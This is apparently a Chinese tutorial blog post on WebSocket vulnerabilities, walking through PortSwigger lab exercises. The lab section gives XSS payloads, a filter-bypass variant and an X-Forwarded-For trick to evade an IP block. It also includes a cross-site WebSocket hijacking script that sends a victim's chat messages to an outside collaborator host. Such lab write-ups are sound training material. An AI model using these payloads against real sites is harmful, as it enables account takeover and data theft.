一、基础知识

1. 什么是WebSocket

WebSocket是通过HTTP启动的双向、全双工通信协议。它们通常用于流式传输数据和其他异步流量的现代Web应用程序中。最常见的是网站中的聊天机器人

2. 与HTTP的区别

WebSocket连接是通过HTTP发起,通常是长期存在的。消息可以随时向任何一个方向发送,并且本质上不是事务性的。连接通常保持打开和空闲状态,直到客户端或服务器发送消息。
WebSocket在需要低延迟或服务器发起消息的情况下特别有用,例如金融数据的实时馈送。

使用HTTP时,客户端发送请求,服务器返回响应。通常响应立即发生,事务完成。即使网络连接保持打开,请求和响应也是单独的事务。这一点和websocket本质上不同。

3. WebSocket 链接建立过程

  • client-side JavaScript 用于定义链接

var ws = new WebSocket("wss://normal-website.com/chat");

  • 浏览器发出WebSocket握手请求
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
  • 返回WebSocket握手响应
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
  • 网络连接保持打开状态,可用于在任一方向上发送WebSocket消息。

ws.send("Peter Wiener"); //客户端发送消息
{"user":"Hal Pline","content":"I wanted to be a Playstation growing up, not a device to answer your inane questions"} //通常JSON格式回复信息

4. 使用工具操作WebSocket流量

(1)拦截和修改WebSocket消息
(2)重播和生成新的WebSocket消息
(3)操纵WebSocket连接

二、漏洞利用

任何WEB安全问题都会出现在WebSockets中

  • SQL 注入
  • OAST
  • XSS

1. 篡改WebSocket消息内容

正常的信息交互如下:
{"message":"Hello Carlos"} 显示结果为 <td>Hello Carlos</td>
若无过滤,信息可修改为
{"message":"<img src=1 onerror='alert(1)'>"}

例题1

2. 操纵WebSocket握手以利用漏洞

某些WebSockets漏洞只能通过操纵WebSocket握手来发现和利用。这些漏洞往往涉及设计缺陷,

  • 错误信任HTTP标头以执行安全决策,例如X-Forwarded-For标头。
  • 会话处理机制存在缺陷,因为处理WebSocket消息的会话上下文通常由握手消息的会话上下文确定。
  • 由应用程序使用的自定义HTTP标头引入的攻击面。

例题2

3. 跨站点WebSocket劫持 (CSWSH)

WebSocket握手上存在跨站点请求伪造(CSRF)漏洞时,可以构造跨站点WebSocket劫持攻击。

不要忘了CSRF三要素哈

CSWSH的影响

  • 伪装成受害用户执行未经授权的操作。
  • 检索用户可以访问的敏感数据。(与传统的CSRF不同,通过被劫持的WebSocket与易受攻击的应用程序进行双向交互。)

攻击构造

  • 检查应用程序执行的WebSocket握手,并确定它们是否受到CSRF的保护。(三要素)
  • 攻击者的网页可以执行跨站点请求,以打开目标站点上的WebSocket。
  • 依据具体的实现逻辑尝试
    • 伪装成用户执行未授权操作
    • 发送WebSocket消息以检索敏感数据。
    • 只是等待包含敏感数据的传入消息

例题3

三、漏洞实例

1. 操纵WebSocket消息以利用漏洞(Manipulating WebSocket messages to exploit vulnerabilities)

本题及其简单,仅仅是熟悉Burp如何拦截使用WebSocket的操作而已。或者直接使用网站页面直接输入即可。
<img src=1 onerror=alert(1)>

2. 纵WebSocket握手以利用漏洞(Manipulating the WebSocket handshake to exploit vulnerabilities)

按上题思路尝试,发现IP被封。关键字 ()JavaScript onerror 等被禁
(1)X-Forwarded-For更新IP后,可重新连接
(2)反单引号、大小写绕过等技术
{"message":"<img src=1 oNErRor=alert1>"}

3. 跨站点WebSocket劫持(Cross-site WebSocket hijacking)

目标:获取目标用户聊天记录,获取登录账号口令等敏感信息,登录其账户。
(1)查看WebSocket相关信息

GET /chat HTTP/1.1
Host: ac351fbb1f9283b3c0951a8f008900c7.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Sec-WebSocket-Version: 13
Origin: https://ac351fbb1f9283b3c0951a8f008900c7.web-security-academy.net
Sec-WebSocket-Key: YMjuNMYTvLI96SD0GLDM0A==
Connection: keep-alive, Upgrade
Cookie: session=81Q5ZYqw7qoiHwleuELCxRHqOM3nQ1z2
Sec-Fetch-Dest: websocket
Sec-Fetch-Mode: websocket
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

(2)利用攻击机发送构造的恶意代码
里面用到了Burp的collaborator(OAST外带技术来接受目标用户的敏感信息)–后续文章将详细介绍burp各相功能,异常强大好用。
将代码使用攻击机发送给目标用户。实施CSRF攻击,让用户建立WebSocket连接。我们使用burp-burpcollaborator查看聊天内容。

<script>  var ws = new WebSocket('wss://ac351fbb1f9283b3c0951a8f008900c7.web-security-academy.net/chat');ws.onopen = function() {   // wss://聊天机器人页面地址ws.send("READY");};ws.onmessage = function(event) { // 此处url为burp-burpcollaborator的urlfetch('https://g7o3loj3is5fvrfiwjg9pfuuolubi0.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body: event.data});};
</script>

WebSocket安全漏洞相关推荐

  1. 前端websocket劫持漏洞(CSWSH)

    0x00 什么是ws劫持 在Websocket的业务中,其中常见的漏洞是ws劫持,全称为跨站点CSWSH(Cross-Site WebSocket Hijacking)跨站WebSocket劫持漏洞. ...

  2. 深入浅出FE(十四)深入浅出websocket

    一.理论知识 1.1 引言 Websocket是一个持久化的协议 协议分为ws(80端口)协议 和wss(443端口)协议. WebSocket是一种在单个TCP连接上进行全双工通信的协议.WebSo ...

  3. Web端即时通讯实践干货:如何让WebSocket断网重连更快速?

    本文作者网易智慧企业web前端开发工程师马莹莹.为了提升内容质量,收录时有修订和改动. 1.引言 在一个完善的即时通讯IM应用中,WebSocket是极其关键的一环,它为基于Web的即时通讯应用提供了 ...

  4. 八问WebSocket协议:为你快速解答WebSocket热门疑问

    一.引言 WebSocket是一种比较新的协议,它是伴随着html5规范而生的,虽然还比较年轻,但大多主流浏览器都已经支持.它使用方面.应用广泛,已经渗透到前后端开发的各种场景中. 对http一问一答 ...

  5. 一文读懂Https的安全性原理、数字证书、单项认证、双项认证等

    为什么80%的码农都做不了架构师?>>>    本文引用了作者Smily(博客:blog.csdn.net/qq_20521573)的文章内容,感谢无私分享. 1.前言 目前苹果公司 ...

  6. 脑残式网络编程入门(三):HTTP协议必知必会的一些知识

    为什么80%的码农都做不了架构师?>>>    本文原作者:"竹千代",原文由"玉刚说"写作平台提供写作赞助,原文版权归"玉刚说&q ...

  7. IM开发基础知识补课:正确理解前置HTTP SSO单点登陆接口的原理

    1.前言 一个安全的信息系统,合法身份检查是必须环节.尤其IM这种以"人"为中心的社交体系,身份认证更是必不可少. 一些PC时代小型IM系统中,身份认证可能直接做到长连接中(也就是 ...

  8. 机器学习 贝叶斯方法_机器学习中的常客与贝叶斯方法

    机器学习 贝叶斯方法 There has always been a debate between Bayesian and frequentist statistical inference. Fr ...

  9. 自已开发IM有那么难吗?手把手教你自撸一个Andriod版简易IM (有源码)

    本文由作者FreddyChen原创分享,为了更好的体现文章价值,引用时有少许改动,感谢原作者. 1.写在前面 一直想写一篇关于im即时通讯分享的文章,无奈工作太忙,很难抽出时间.今天终于从公司离职了, ...

最新文章

  1. thinkpad触控笔怎么用_笔记本电脑卡死了怎么办关不了机
  2. 9开头的两位数相乘速算法
  3. docker安装nginx并进行-v挂载
  4. JavaScript DOM 编程艺术 --- JavaScript语法
  5. 问题 1: 区间交集
  6. 32查运行内存的map文件_Spark Shuffle调优之调节map端内存缓冲与reduce端内存占比
  7. PHP 判断是否包含某字符串
  8. 开发环境很重要,需要学习如何自己搭建开发环境
  9. 基于JAVA+Spring+MYSQL的码头船只出行管理系统
  10. python与线性代数 向量方程
  11. 从OpenStack到OpenInfra
  12. 草莓CDMS原创内容分销系统-微信小说平台系统v1.0
  13. 思科模拟器5506防火墙配置_租用电信线路,三地网络互联的配置——Cisco、Hillstone路由配置...
  14. 软件工程案例-仓库管理系统简单版
  15. 电力LED时钟系统解决方案实现精确时间同步
  16. HTML Canvas 刮刮卡抽奖效果的实现
  17. 非线性可视化(3)混沌系统
  18. 智能优化算法之遗传算法(GA)的实现(基于二进制编码,Python附源码)
  19. 电大工商管理计算机考试,东方电大工商管理专科计算机期末复习应用基础实验报告...
  20. 使用c++给程序获取管理员权限

热门文章

  1. 常见支持linux平台的应用软件
  2. oracle将其他字段类型改为clob类型方法
  3. 如何轻松的破解excel 2016工作表密码
  4. Python能做什么?
  5. ROS机器人项目开发11例-ROS Robotics Projects(10)机器人Web工具集
  6. 广电网宽带 如果要远程连接阿里RDS数据库,设置了白名单也不行。
  7. 框架模式MVC与MVP在Android中的应用
  8. matlab中各种括号(),[],与{}的区别与认识
  9. win10/win11 + WSL + gui 配置教程
  10. python爬虫笔记(学习T)